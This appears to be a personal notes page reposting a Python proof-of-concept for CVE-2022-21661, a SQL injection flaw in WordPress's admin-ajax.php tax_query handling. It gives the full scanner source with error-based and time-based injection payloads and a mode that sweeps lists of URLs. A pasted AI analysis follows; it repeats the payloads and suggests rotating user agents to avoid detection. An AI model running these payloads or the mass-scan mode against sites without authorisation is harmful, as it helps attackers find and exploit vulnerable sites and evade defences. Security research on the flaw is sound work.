sploituspythonwordpresssqlinjectioncve2022 Date of Report: 2025-05-13 | My Date: 2025-05-20 | Severity: CVSS 8.0
About
A Python PoC for CVE-2022-21661, adapted from z92g’s Go PoC, designed to demonstrate the vulnerability in a more accessible scripting environment.
Personal Summary
Straightforward SQL injection, lmao MD5
Sources:
https://sploitus.com/exploit?id=6B2D478A-FDF5-5CD0-A6B7-AE5119B13C85 https://github.com/Fauzan-Aldi/CVE-2022-21661/blob/main/CVE-2022-21661-PoC-main/main.py
Translated from Indonesian
Description
A Proof-of-Concept (PoC) Python-based exploit for CVE-2022-21661, a critical vulnerability in WordPress that could allow an unauthorized attacker to perform object injection attacks, which under certain conditions can lead to Remote Code Execution (RCE).
This implementation is inspired by z92g’s Go-based PoC, and is designed to provide a more accessible and user-friendly version for scripters, especially security researchers and CTF practitioners.
⚠️ This tool is intended for legitimate educational and testing purposes only. Unauthorized use of systems that are not yours is illegal.
📦 Installation
Clone this repository and install the required dependencies with the command:
pip3 install -r requirements.txt🚀 Usage
Run this script with a single URL or a file containing a list of URLs to check if the site is vulnerable to CVE-2022-21661:
usage: main.py [-h] [-u URL] [-f FILE]
Identify CVE-2022-21661 on a WordPress installation.
options:
-h, --help Show help and exit
-u URL, --url URL One WordPress site URL to scan.
-f FILE, --file FILE A file containing a list of WordPress URLs (one per line).
Author: FauzanAldi🧪 Usage Example
Scanning a single site:
python3 main.py -u https://example.comScanning multiple WordPress sites from a list of URLs:
python3 main.py -f urls.txtRaw Source - Python
from urllib.parse import urlparse
parser = argparse.ArgumentParser(
prog='main.py',
description='Identify CEV-2022-21661 in Wordpress instances.',
epilog='by FauzanAldi')
parser.add_argument('-u', '--url',help='A single URL to check.')
parser.add_argument('-f', '--file',help='A list of URLs to check.')
args=parser.parse_args()
if not args.url and not args.file:
parser.print_help()
elif args.url and args.file:
print('Only either -f (--file) or -u (--url) can be used!')
else:
if args.url:
url=args.url
print('Attempting to locate CVE-2022-21661...')
url=urlparse(url)
r0 = requests.get(f'{url.scheme}://{url.netloc}/wp-admin/admin-ajax.php', headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"})
if r0.status_code == 400 and '0' in r0.text:
randNum = str(random.randint(1234567890987654321,9999999999999999999)).encode('utf-8')
data='{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,md5(' + str(randNum) + '),0x5e))#"]}}}'
r1 = requests.post(f'{url.scheme}://{url.netloc}/wp-admin/admin-ajax.php', data={"action":"test","data":data}, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"})
if r1.status_code == 200 and str(hashlib.md5(randNum).hexdigest()) in r1.text:
print('Vulnerable!')
else:
print('Failed on MD5, testing time based query...')
data = '{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(5))#"]}}}'
r2 = requests.post(f'{url.scheme}://{url.netloc}/wp-admin/admin-ajax.php', data={"action":"test","data":data}, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"})
if r2.elapsed.total_seconds() >= 5 and r2.status_code == 200:
print('Vulnerable!')
else:
print('Not Vulnerable! (Failed after checking for CVE using 2 PoC\'s)')
else:
print('Not Vulnerable! (Failed at admin-ajax check)')
if args.file:
if os.path.exists(args.file):
with open(args.file) as f:
urls=f.read().split('\n')
count=0
urls=list(filter(None, urls))
for url in urls:
count+=1
if 'http://' in url or 'https://' in url:
url=urlparse(url)
print(f'Attempting to locate CVE-2022-21661 on URL {count} of {str(len(urls))} ({url.geturl()})...')
r0 = requests.get(f'{url.scheme}://{url.netloc}/wp-admin/admin-ajax.php')
if r0.status_code == 400 and '0' in r0.text:
randNum = str(random.randint(1234567890987654321,9999999999999999999)).encode('utf-8')
data='{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,md5(' + str(randNum) + '),0x5e))#"]}}}'
r1 = requests.post(f'{url.scheme}://{url.netloc}/wp-admin/admin-ajax.php', data={"action":"test","data":data}, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"})
if r1.status_code == 200 and str(hashlib.md5(randNum).hexdigest()) in r1.text:
print(f'[{count}/{str(len(urls))}] Vulnerable!')
else:
print(f'[{count}/{str(len(urls))}] Failed on MD5, testing time based query...')
data = '{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(5))#"]}}}'
r2 = requests.post(f'{url.scheme}://{url.netloc}/wp-admin/admin-ajax.php', data={"action":"test","data":data}, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"})
if r2.elapsed.total_seconds() >= 5 and r2.status_code == 200:
print(f'[{count}/{str(len(urls))}] Vulnerable!')
else:
print(f'[{count}/{str(len(urls))}] Not Vulnerable! (Failed after checking for CVE using 2 PoC\'s)')
else:
print(f'[{count}/{str(len(urls))}] Not Vulnerable! (Failed at admin-ajax check)')
else:
print(f'[{count}/{str(len(urls))}] Invalid URL: {url}')Grok (AI) Analysis
This Python script is designed to detect the CVE-2022-21661 vulnerability in WordPress instances. CVE-2022-21661 is a SQL injection vulnerability in WordPress core, specifically affecting the tax_query parameter in the admin-ajax.php endpoint. Below is a detailed description and analysis of the code.
Code Description
Purpose
The script checks whether a given WordPress site (or a list of sites) is vulnerable to CVE-2022-21661 by sending specially crafted HTTP requests to the wp-admin/admin-ajax.php endpoint and analyzing the responses. It uses two proof-of-concept (PoC) methods: an MD5-based SQL injection test and a time-based SQL injection test.
Key Components
- Imports:
- requests: For making HTTP GET and POST requests.
- hashlib: For generating MD5 hashes.
- random: For generating random numbers used in the MD5-based PoC.
- argparse: For parsing command-line arguments.
- os: For file handling when processing a list of URLs.
- urlparse (from urllib.parse): For parsing URLs into components (e.g., scheme, netloc).
- Command-Line Arguments:
- The script uses argparse to accept two mutually exclusive arguments:
- -u/—url: A single URL to check for the vulnerability.
- -f/—file: A file containing a list of URLs to check.
- If neither or both arguments are provided, it displays help or an error message.
- The script uses argparse to accept two mutually exclusive arguments:
- Logic Flow:
- Single URL Mode (args.url):
- Parses the provided URL to extract the scheme (e.g., http or https) and domain (netloc).
- Performs an initial GET request to wp-admin/admin-ajax.php to check if the endpoint returns a 400 status code with ‘0’ in the response text, indicating a potential WordPress instance.
- If the initial check passes, it proceeds with two PoC tests:
- MD5-based PoC:
- Generates a random number, computes its MD5 hash, and embeds it in a crafted tax_query payload.
- Sends a POST request to wp-admin/admin-ajax.php with the payload.
- If the response status is 200 and contains the MD5 hash, the site is deemed vulnerable.
- Time-based PoC (if MD5 fails):
- Sends another POST request with a payload that includes a sleep(5) SQL function.
- If the response takes 5 or more seconds and returns a 200 status, the site is deemed vulnerable.
- MD5-based PoC:
- If either test succeeds, it prints “Vulnerable!”; otherwise, it prints “Not Vulnerable!“.
- File Mode (args.file):
- Reads a list of URLs from the specified file, filters out empty lines, and processes each URL similarly to the single URL mode.
- For each URL, it performs the same checks as above and reports the vulnerability status with a counter (e.g., [1/10] Vulnerable!).
- Invalid URLs (lacking http:// or https://) are flagged as such.
- Single URL Mode (args.url):
- Payloads:
-
MD5-based Payload:
json
Copy
{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,md5(RAND_NUM),0x5e))#"]}}}- This payload attempts a SQL injection by using the extractvalue function to compute the MD5 hash of a random number and include it in the response.
-
Time-based Payload:
json
Copy
{"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(5))#"]}}}- This payload uses the sleep(5) SQL function to delay the response, indicating a successful injection if the response takes at least 5 seconds.
-
- HTTP Requests:
- Uses the requests library to send GET and POST requests.
- Sets a User-Agent header to mimic a Chrome browser for consistency and to avoid being blocked by basic security measures.
- Output:
- Prints progress and results for each URL, including whether it’s vulnerable or not, based on the PoC results.
- For file mode, it includes a counter to track progress through the list of URLs.
Code Analysis
Strengths
- Clear Structure:
- The script is well-organized with clear separation between single URL and batch processing modes.
- Uses argparse for a user-friendly command-line interface.
- Dual PoC Approach:
- Employs two distinct methods (MD5-based and time-based) to increase the reliability of detecting the vulnerability.
- Error Handling:
- Checks for invalid URLs and missing arguments.
- Validates file existence before processing.
- Modularity:
- The logic for testing a single URL is reused in both single and batch modes, reducing code duplication.
Weaknesses and Potential Issues
- Limited Error Handling for HTTP Requests:
- The script does not handle exceptions that may occur during HTTP requests (e.g., network errors, timeouts, or invalid responses).
- If the server returns unexpected data or fails to respond, the script may crash or produce misleading results.
- Hardcoded User-Agent:
- The User-Agent is static, which could make the script detectable by security systems that block known user agents.
- A more robust approach would be to rotate user agents or allow customization.
- No Rate Limiting:
- In file mode, the script processes URLs sequentially without delay, which could overwhelm servers or trigger rate-limiting defenses.
- Assumption of WordPress:
- The script assumes the target is a WordPress site and checks only the wp-admin/admin-ajax.php endpoint. Non-WordPress sites or misconfigured WordPress instances may lead to false negatives.
- No Logging:
- Results are printed to the console but not saved to a file, which could be inconvenient for large URL lists.
- Potential False Positives/Negatives:
- The initial check (400 status and ‘0’ in response) may not be specific enough, as other systems could mimic this behavior.
- The time-based PoC relies on a 5-second threshold, which may be affected by network latency or server performance.
- Security Concerns:
- The script performs active vulnerability scanning, which may be illegal without explicit permission from the site owner.
- Ethical use requires proper authorization to avoid violating laws or terms of service.
Security Implications
- CVE-2022-21661: This vulnerability allows SQL injection via the tax_query parameter, potentially enabling attackers to extract sensitive data (e.g., user credentials) or manipulate the database.
- Ethical Considerations: The script is a tool for security researchers or administrators to test their own systems, but unauthorized use could lead to legal consequences.
Suggestions for Improvement
-
Add Exception Handling:
python
Copy
try: r0 = requests.get(f'{url.scheme}://{url.netloc}/wp-admin/admin-ajax.php', timeout=10) except requests.RequestException as e: print(f'Error accessing {url.geturl()}: {e}') return- Add timeouts and handle network errors gracefully.
-
Rate Limiting:
- Introduce a delay between requests (e.g., time.sleep(1)) to avoid overwhelming servers.
-
Output Logging:
-
Save results to a file (e.g., CSV or JSON) for easier analysis:
python
Copy
with open('results.txt', 'a') as log: log.write(f'[{count}/{len(urls)}] {url.geturl()}: Vulnerable\n')
-
-
Dynamic User-Agent:
-
Use a library like fake-useragent to rotate user agents:
python
Copy
from fake_useragent import UserAgent headers = {"User-Agent": UserAgent().random}
-
-
Validate WordPress Instance:
- Add checks (e.g., for wp-content or wp-json) to confirm the target is a WordPress site before testing.
-
Configurable Parameters:
- Allow users to customize the sleep duration, random number range, or payloads via arguments.
-
Ethical Warning:
-
Add a warning in the script’s help message about the need for authorization:
python
Copy
parser = argparse.ArgumentParser( description='Identify CEV-2022-21661 in Wordpress instances. Use only with explicit permission.', epilog='by FauzanAldi. Unauthorized scanning may be illegal.' )
-
How to Run the Script
- Prerequisites:
- Python 3.x with requests library installed (pip install requests).
- Example Commands:
- Single URL: python main.py -u https://example.com
- File with URLs: python main.py -f urls.txt
- URLs file format: One URL per line (e.g., https://example.com).
- Output:
- For each URL, the script will print whether it’s vulnerable or not, with details about which PoC (if any) succeeded.
Conclusion
The script is a functional tool for detecting CVE-2022-21661 in WordPress sites using SQL injection techniques. It is straightforward and effective for its purpose but lacks robust error handling, rate limiting, and logging. Improvements in these areas would make it more reliable and user-friendly. Users must ensure they have permission to scan target systems to avoid legal issues.